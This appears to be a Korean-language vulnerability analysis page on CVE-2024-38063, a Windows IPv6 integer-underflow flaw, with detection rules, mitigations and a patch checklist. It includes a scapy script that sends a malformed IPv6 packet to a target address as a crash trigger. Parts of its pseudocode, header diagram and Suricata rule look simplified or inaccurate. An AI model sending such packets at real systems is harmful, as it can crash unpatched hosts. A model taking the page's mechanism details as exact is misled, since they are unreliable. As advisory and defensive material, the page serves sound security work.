/CVE 분석/CVE-2024-38063
CriticalCVSS 9.82025-04-23

CVE-2024-38063 — Windows TCP/IP IPv6 정수 언더플로우 원격 코드 실행

Windows TCP/IP 스택의 IPv6 패킷 처리 중 정수 언더플로우가 발생해 인증 없이 원격 코드 실행이 가능한 취약점. 인증 불필요, 사용자 인터랙션 없음 — 웜 전파 가능성.

#Windows#IPv6#TCP-IP#RCE#Integer-Underflow#Zero-Click#Kernel#Wormable

개요

항목 내용
CVE ID CVE-2024-38063
발견 XiaoWei of Kunlun Lab
공개일 2024-08-13 (Patch Tuesday)
CVSS v3.1 9.8 Critical
영향 Windows 10/11, Windows Server 2008~2022 전 버전
인증 불필요 (네트워크 접근만 필요)
사용자 상호작용 불필요
웜 가능성 있음

기본 원리: 정수 언더플로우

정수 오버플로우/언더플로우란

컴퓨터에서 정수는 고정된 비트 수로 표현된다. 표현 범위를 벗어나면 "랩어라운드(wrap-around)"가 발생한다.

uint16_t (부호 없는 16비트 정수, 0 ~ 65535):
  
  오버플로우: 65535 + 1 = 0 (최댓값 → 0으로 랩어라운드)
  언더플로우: 0 - 1 = 65535 (0 아래 → 최댓값으로 랩어라운드)

예시:
  uint16_t a = 0;
  uint16_t b = 8;
  uint16_t result = a - b;  // 0 - 8 = ???
  
  수학적: -8
  uint16_t: 0xFFFF - 8 + 1 = 65528 (0xFFF8)
  
  → result = 65528
  → 이 값을 버퍼 복사 크기로 사용하면 65528바이트 복사 = 버퍼 오버플로우!

IPv6 패킷 구조

IPv6 패킷 구조 (고정 헤더 40바이트):
  +--------+--------+--------+--------+
  |Version | Traffic Class | Flow Label|  4바이트
  +--------+--------+--------+--------+
  |Payload Length (16비트)  | Next Hdr|  4바이트
  +------------------------+---------+
  | Hop Limit | Source Address (16B)  |  17바이트
  +-----------+--....                 |
  | Destination Address (16B)        |  16바이트
  +----------------------------------+
  | Extension Headers (가변 길이)    |
  +----------------------------------+
  | Upper Layer Data (TCP/UDP/ICMP)  |
  +----------------------------------+

Payload Length:
  - 헤더 이후의 바이트 수 (Extension Headers + Upper Layer Data)
  - 최댓값 65535 (16비트)
  - 0으로 설정 가능 (이것이 공격의 핵심)

취약점 메커니즘

tcpip.sys의 길이 계산 오류

/* Windows tcpip.sys 취약한 코드 (의사코드) */
void process_ipv6_packet(IPv6_Packet *packet) {
    uint16_t payload_len = packet->header.payload_length;  // 공격자가 0으로 설정
    
    /* Extension Headers 크기 계산 */
    uint16_t ext_header_len = calculate_extension_headers(packet);
    // 예: Hop-by-Hop 옵션 헤더 8바이트 존재 → ext_header_len = 8
    
    /* ⚠️ 언더플로우 발생! */
    uint16_t data_len = payload_len - ext_header_len;
    // 0 - 8 = 0xFFF8 = 65528 (uint16_t 언더플로우)
    
    /* 65528바이트를 커널 힙 버퍼에 복사 → 오버플로우! */
    char *buffer = ExAllocatePool(NonPagedPool, data_len);  // 65528바이트 할당
    memcpy(buffer, packet->data, data_len);  // 실제 데이터는 수십 바이트인데 65528바이트 복사
}
공격 패킷 구성:
  IPv6 고정 헤더:
    Payload Length = 0  ← 조작
    Next Header = 0 (Hop-by-Hop Options)
  
  Hop-by-Hop 옵션 헤더:
    크기 = 8바이트 (최소 크기)
  
  결과:
    data_len = 0 - 8 = 65528 (언더플로우)
    → 커널이 65528바이트를 복사하려 함
    → 커널 힙 오버플로우
    → 인접 커널 데이터 구조 손상
    → 정밀 제어로 커널 코드 실행 가능

공격 조건

필요한 것:
  1. 타겟 시스템의 네트워크 주소 (IPv6)
  2. 타겟이 네트워크에서 IPv6 패킷을 받을 수 있는 환경

불필요한 것:
  - 인증 (자격증명 없음)
  - 사용자의 어떤 행동도 불필요
  - 피싱 이메일, 링크 클릭, 첨부 파일 없음

Windows 기본 설정:
  - IPv6: 기본으로 활성화됨
  - 모든 Windows 시스템이 기본적으로 IPv6 스택을 가동
  - 내부망에서도 IPv6 패킷 수신 가능

PoC 개념

# 개념적 PoC — 교육 목적 (실제 RCE 익스플로잇 아님)
from scapy.all import *
import sys

def craft_trigger_packet(target_ipv6):
    """
    Payload Length = 0인 기형 IPv6 패킷 생성
    Hop-by-Hop 옵션 헤더 포함 → 언더플로우 트리거
    """
    
    # IPv6 헤더 — Payload Length를 0으로 조작
    ipv6_hdr = IPv6(
        src="fe80::1",
        dst=target_ipv6,
        nh=0,     # Next Header = Hop-by-Hop Options
        plen=0    # Payload Length = 0 (조작된 값)
    )
    
    # Hop-by-Hop 옵션 헤더 (RFC 2460 기준 최소 8바이트)
    # Next Header=59(No Next Header), Len=0, PadN 옵션
    hop_by_hop = b'\x3b\x00\x01\x04\x00\x00\x00\x00'
    
    packet = ipv6_hdr / Raw(hop_by_hop)
    return packet

# 단일 패킷 전송 (DoS 트리거, RCE는 추가 작업 필요)
target = sys.argv[1]  # IPv6 주소
pkt = craft_trigger_packet(target)
send(pkt, verbose=True)

# 실제 RCE 익스플로잇을 위해서는:
# 1. 커널 힙 그루밍 (원하는 메모리 레이아웃 구성)
# 2. 오버플로우로 특정 커널 구조체 덮어쓰기
# 3. 커널 메모리 읽기/쓰기 primitive 획득
# 4. 커널 특권 상승 → SYSTEM 권한
# 이 과정은 매우 복잡하며 공개 익스플로잇은 아직 없음

탐지 방법

# Windows 이벤트 로그에서 TCP/IP 관련 이벤트
Get-WinEvent -LogName "Microsoft-Windows-Tcpip/Operational" -MaxEvents 100 |
  Where-Object { $_.Message -like "*IPv6*" -or $_.Message -like "*anomal*" }

# 비정상적인 IPv6 트래픽 확인 (Wireshark 필터)
# ipv6.plen == 0 and not ipv6.nxt == 59
# → Payload Length가 0이면서 "No Next Header"가 아닌 패킷 (비정상)
# Suricata 탐지 룰
alert ip6 any any -> $HOME_NET any (
  msg:"CVE-2024-38063 Potential Trigger - IPv6 Zero Payload with Extension Header";
  ip6_hdr;
  byte_test:2,=,0,4,relative;   # Payload Length 위치(offset 4)에서 2바이트 = 0
  ip6_hdr;
  byte_test:1,=,0,6,relative;   # Next Header = Hop-by-Hop (0)
  sid:2024380631;
  rev:1;
  classtype:attempted-dos;
)

완화 방법

# 방법 1: 네트워크 어댑터별 IPv6 비활성화
Get-NetAdapter | ForEach-Object {
    Disable-NetAdapterBinding -Name $_.Name -ComponentID ms_tcpip6
}

# 방법 2: 레지스트리로 IPv6 완전 비활성화 (재부팅 필요)
New-ItemProperty `
  -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" `
  -Name "DisabledComponents" `
  -Value 0xFF `
  -PropertyType DWORD `
  -Force
# 0xFF = 모든 IPv6 인터페이스 비활성화

# 방법 3: Windows Firewall로 IPv6 인바운드 차단
New-NetFirewallRule `
  -DisplayName "Block CVE-2024-38063 - IPv6 Inbound" `
  -Direction Inbound `
  -Action Block `
  -Protocol Any `
  -AddressFamily IPv6

# 근본 해결: Windows Update 적용
# KB5041578, KB5041580, KB5041585, KB5041773 등
# (2024년 8월 Patch Tuesday)

왜 위험한가?

CVE-2024-38063의 위험 요소:

Zero-click:   사용자 행동 불필요
Pre-auth:     인증 불필요 (자격증명 없이 공격)
Kernel-level: 성공 시 SYSTEM(최고 권한) 획득
Wormable:     네트워크를 통해 자동 전파 가능
IPv6 기본 활성화: 모든 Windows가 기본으로 취약

비교 대상 — EternalBlue (MS17-010):
  EternalBlue는 SMBv1 취약점으로 WannaCry(2017) 대유행의 근원
  CVE-2024-38063은 유사한 특성 보유
  
  공통점: Zero-click, Pre-auth, Kernel, Wormable
  차이점: EternalBlue는 TCP 445 (방화벽이 주로 차단)
          CVE-2024-38063은 IPv6 (내부망에서 더 자유롭게 통신)

타임라인

2024-07월   — Kunlun Lab의 XiaoWei가 발견 및 Microsoft 보고
2024-08-13  — Microsoft Patch Tuesday 공개 + 패치 배포
2024-08~09  — 기술 분석 블로그 다수 등장 (DoS PoC 일부 공개)
현재        — 완전한 RCE PoC는 공개적으로 알려지지 않음
              단, Microsoft 평가: "Exploitation More Likely"

조직 대응 체크리스트

즉시 (24시간):
  □ 2024년 8월 Windows Update 패치 적용 확인
  □ 패치 미적용 시스템 인벤토리 파악
  □ IPv6를 사용하지 않는 시스템 IPv6 비활성화
  □ 경계 방화벽에서 외부 IPv6 트래픽 차단

단기 (1주일):
  □ 내부망 세그멘테이션 검토
  □ EDR/SIEM에 탐지 룰 추가 (위 Suricata 룰 참고)
  □ IPv6 사용 필요성 재검토

장기:
  □ Critical 취약점 = 48시간 내 패치 정책 수립
  □ 커널 취약점 방어를 위한 EDR 솔루션 강화
  □ IPv6 관리 정책 수립 (사용 범위 명확화)